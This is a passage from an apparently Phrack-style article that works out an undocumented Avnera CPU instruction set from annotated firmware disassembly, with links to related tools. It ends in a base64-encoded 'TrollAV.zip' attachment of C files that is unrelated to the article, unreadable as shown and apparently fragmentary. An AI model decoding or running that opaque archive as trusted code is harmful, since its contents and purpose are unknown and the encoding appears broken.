40 ; dec r0 (???)

da0b ; [r3:r2 + 0x0b] <‑ r0

b9

whatever it is, it presumably operates on at least r0, writes to r0 and r1. the routine at 0xed0 (outside the image?) may say more about what the registers are at its return, but from this alone it's hard to guess. it is interesting and remarkable that only r0 is saved to [0xeebc], not r1!

‑‑[ what are c0..c7?

these instructions are pretty infrequent. of the few places they show up, this seems like the most informative region to dig into:

e81ff8 61 903c

ea29ef eb2aef ; r5:r4 <‑ [0xef2a]:[0xef29]

fa08 71 fa07 ; r1:r0 <‑ [r5:r4 + 8]:[r5:r4 + 7]

c0 ; ??

74 11 75 ; r5:r4 <‑ r1:r0

12 ; r0 <‑ r2

e92aef ; r1 <‑ [0xef2a]

e307 53 9101 ; r3 <‑ 0x07; add r0, r3; jnc $+1

01 ; inc r1

80 f0 72 88 ; r2 <‑ [r1:r0]

f801 73 ; r3 <‑ [r1:r0 + 1]

f2 ; r0 <‑ [r3:r2]

e1ff 51 ; r0 += 0xff

77 ; r7 <‑ r0

e600 ; r6 <‑ 0

9806 ;

f4 c88cf8 ; [0xf88c] <‑ [r5:r4]

c4 ; ??

06 ; inc r6

16 7f ; r0 <‑ r6; cmp r0, r7

91f6 ; jb $‑0x0a

the ending loop makes some sense: load from a 16‑bit pointer, store to maybe‑IO‑register(?), increment r6, repeat until r6 == r7. in other contexts where c0 is used, r1:r0 is recently populated with a 16‑bit integer too. so it seems likely that c[0‑7] operates on at least rN, maybe rN+1 if it's more like the d_ or f_ two‑registers‑as‑an‑address instructions.

if c4 were a load or store it would probably operate with respect to r0 and r4, but r0 is immediately clobbered, so it's probably not a load or otherwise leaving a result in r0. if it were a store this might overwrite a buffer.. somewhere.. with 0, 1, 2, 3, 4, .. <r7>.

looking at the c0 earlier in this block r1:r0 is loaded immediately before, and then read (copied to r5:r4) immediately after. r5:r4 is used for the f4 load, so those registers form something like a pointer.

compare with the other use of c4 in this program here:

e4e3 e5ed ; r4 <‑ 0xe3; r5 <‑ 0xed

e28f e301 ; r2 <‑ 0x8f; r3 <‑ 0x01

28 ; xor r0, r0

loop:

42 9903 ; dec r2; jnc body

43 9105 ; dec r3; jc exit

body:

d4 ; [r5:r4] <‑ r0

c4 ; ???

bc69bb ; jmp loop

exit:

bc26be ; jmp ... somewhere ...

r5:r4 is written through, but the combined `dec r2; jnc body; dec r3; jc exit; ... jmp loop` forms a a loop that repeats until r3:r2 is decremented past zero. the loop body is simply `[r5:r4] <‑ r0, r0` set to zero, c4 probably operates on r5:r4, and if it modifies r0 then r0 is left in that modified state for the next store through [r5:r4].

looking at other 8‑bit processors for inspiration regarding c[0246], it seems plausible that it is in fact an increment for a register pair. in that case, the loop forms a memset, clearing 0x1c0 bytes of memory. this is also almost at the start of the image ‑ not knowing where execution begins, it still seems likely enough that this is related to initialization.

there might not be a corresponding 16‑bit decrement instruction? or if there is, like the 8080, it might not set flags; if so, it would not be useful to decrement r3:r2 in this loop because an explicit test for zero would still be necessary.

looking back at the other loop earlier:

e600 ; r6 <‑ 0

9806 ;

f4 c88cf8 ; [0xf88c] <‑ [r5:r4]

c4 ; inc r5:r4

06 ; inc r6

16 7f ; r0 <‑ r6; cmp r0, r7

91f6 ; jc $‑0x0a

then taking c4 to be inc r5:r4 makes this a loop writing the bytes from a buffer r7 bytes long at r5:r4 into the address f88c. why not decrement r7 instead of the inc/mov/compare??

‑‑[ but wait! what happened with jcc?

in writing this up, i flip‑flopped on the meaning of 91 and 99 jumps without entirely realizing it. two different regions of code suggest different semantics!

first, the inner multiply loop from earlier:

e408 ; r4 <‑ 8

back:

69 3d ; ccf; rcr r5

911d ; jcc.lo.1 forward

back:

e8eab0 56 c8eab0 ; add [0xb0ea], r6

e8ebb0 09 c8ebb0 ; add [0xb0eb], r1

e8ecb0 0a c8ecb0 ; add [0xb0eb], r2

e8edb0 0b c8edb0 ; add [0xb0eb], r3

69 ; ccf

forward:

36 31 32 33 44 ; ccf; rcl r6:r1:r2:r3; dec r4 90d8 ; jnz back

b9 ; ret

where 91 seems like jnc ‑ "jump past adding in the multiplier if the next bit in the multiplicand was 0". but a different loop suggests the opposite reading:

e4e3 e5ed ; r4 <‑ 0xe3; r5 <‑ 0xed

e28f e301 ; r2 <‑ 0x8f; r3 <‑ 0x01

28 ; xor r0, r0

loop:

42 9903 ; dec r2; jnc body

43 9105 ; dec r3; jc exit

body:

d4 ; [r5:r4] <‑ r0

c4 ; ???

bc69bb ; jmp loop

exit:

bc26be ; jmp ... somewhere ...

where instead it's 99 that looks like a jnc ‑ "if decrementing r2 did not borrow, do not decrement r3 and continue another loop iteration". and 91 is what looks like a jc‑ "if decrementing r3 borrowed, skip past the loop body".

either "jc" and "jnc" are conditional on more than it first seems, or perhaps more likely, dec produces a carry bit any time the result is not zero. as an example:

| r0 | r0‑after‑dec | carry |

|‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑|

| 0x00 | ff + 0 = ff | 0 |

| 0x01 | ff + 1 = 00 | 1 |

| 0x02 | ff + 2 = 01 | 1 |

| 0xff | ff + ff = fe | 1 |

that would bring this all back together: 99 is jc, 91 is jnc. it's rare that there's a dec; jcc (one other instance in this program at 0x16db), so it's hard to cross‑check this interpretation.

‑‑[ last thoughts

in looking at this i was very surprised by how informative loops ‑ especially short loops ‑ are for finding bounds of what a program may or likely does not do. this isn't very surprising in retrospect; short programs don't have opportunities to do very much, and doing the same not‑very‑much in a loop has even fewer opportunities to do something useful.

loops are usually conditioned on a relatively simple predicate:

while x < 10 do { ... }

// or

do { ... } while x > 10

// or

while x != 0 { x = loop_body() }

a lot of behavior fell out of finding short loops and making sense of the instructions used to drive them.

this definitely applies when you do know the instruction set but are trying to make sense of a larger program ‑ it's just good advice when reverse engineering a program. it's neat to see the idea carry through when you're figuring out the instruction set itself.

additionally: this is doable! what's totally unknown at this point is mostly instructions that don't appear in this program (at which point it's hard to guess about behavior...)

‑‑[ conclusion

that seems to be the ISA, at least as used in this program. this architecture seems like an outsider art re‑envisioning of the 8080, with fewer register to register movs, and more indexed memory accesses. it seems interesting that this architecture has loads like [r7:r6] and [r7:r6 + N] but not [r7:r6 + rN]. having non‑offset load/store through a register pair seems a bit out of place in its own right: it's a lot of encoding space to reserve for a relatively rare operation. maybe it's more common in some reference program, and this firmware is the odd one?

a0..af are almost nonexistent here, and may be other 8080‑style instructions. b0..b8 are not represented in this program, and would be prime encoding space for conditional returns. it wouldn't be terribly shocking if a compiler didn't know to use conditional returns and instead conditionally branched over returns.

the moment i, at least, have been waiting for, after describing as much of the ISA as possible, is to compare notes with others who have looked at this CPU or programs for it:

* whitequark's binja plugin: https://github.com/whitequark/binja‑avnera

* several years ago: https://github.com/Prehistoricman/AV7300

... we almost entirely agree! it seems that Prehistoricman tested with a physical CPU, and has some notes for opcodes that are otherwise not present:

https://github.com/Prehistoricman/AV7300/blob/master

/Instruction%20set%20notes.txt#L195‑L198

whitequark records 58..5f and 68..6f as set and clr respectively, which i suspect are the same as i'd understood: set (or clear) a bit in the status register. this is also what Prehistoricman understood them to mean.

i'm pretty surprised how much can be reasonably guessed out from just a 12kb firmware! there are plenty of operational semantics missing in my descriptions above ‑ for example, i know basically nothing about memory addressing: lots of the above leaned on assuming a flat 64kb address space is a decent approximation.

segmentation would be annoying to figure out! if the ISA were anything more complex it probably would have required more than just staring really hard at notes. an ARM‑style encoding with more aggressive packing of bits certainly would have been harder to discover.

if you happen to want to disassemble programs for Avnera processors ‑ it's not at all clear to me which models may have different or extended instruction sets ‑ i've published a disassembler based on the above notes as yaxpeax‑avnera. from whitequark's note here it does seem likely this instruction set is common across many models!

‑‑[ summarized materials

[1]: https://www.robertxiao.ca/hacking

/dsctf‑2019‑cpu‑adventure‑unknown‑cpu‑reversing/

there are a few more programs reportedly for this architecture here, from Prehistoricman at https://github.com/Prehistoricman/AV7300. mirrored below:

* https://www.iximeow.net/hof/av7300/base_station_dump.bin

‑ sha256: fe25e7beae845ad68c0003a59c8d1b73d3202521f5d5221fdaf43eb3ebf1babf * https://www.iximeow.net/hof/av7300/headset_dump.bin

‑ sha256: 782f3ab95a59ceddfe6d3d475c5c0a31b2d05e1baf2201c1f2f14743e9faa731

the program i reference heavily in this post is mirrored here:

* https://www.iximeow.net/hof/av7200/noes

‑ sha256: 0f433076bd00381a99c6dd5aabf55653317b4519c2860e944b6090b2f4aa5a9e

whitequark's excellent cheatsheet of the encoding space:

* https://github.com/whitequark/binja‑avnera/tree

/main?tab=readme‑ov‑file#cheatsheet

and finally, yaxpeax‑avnera, the librarified form of the disassembler i built up in parallel with the above research: https://www.github.com/iximeow/yaxpeax‑avnera

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ Appendix: File Attachments ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> TrollAV.zip.uu

begin‑base64 777 TrollAV.zip.uu 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 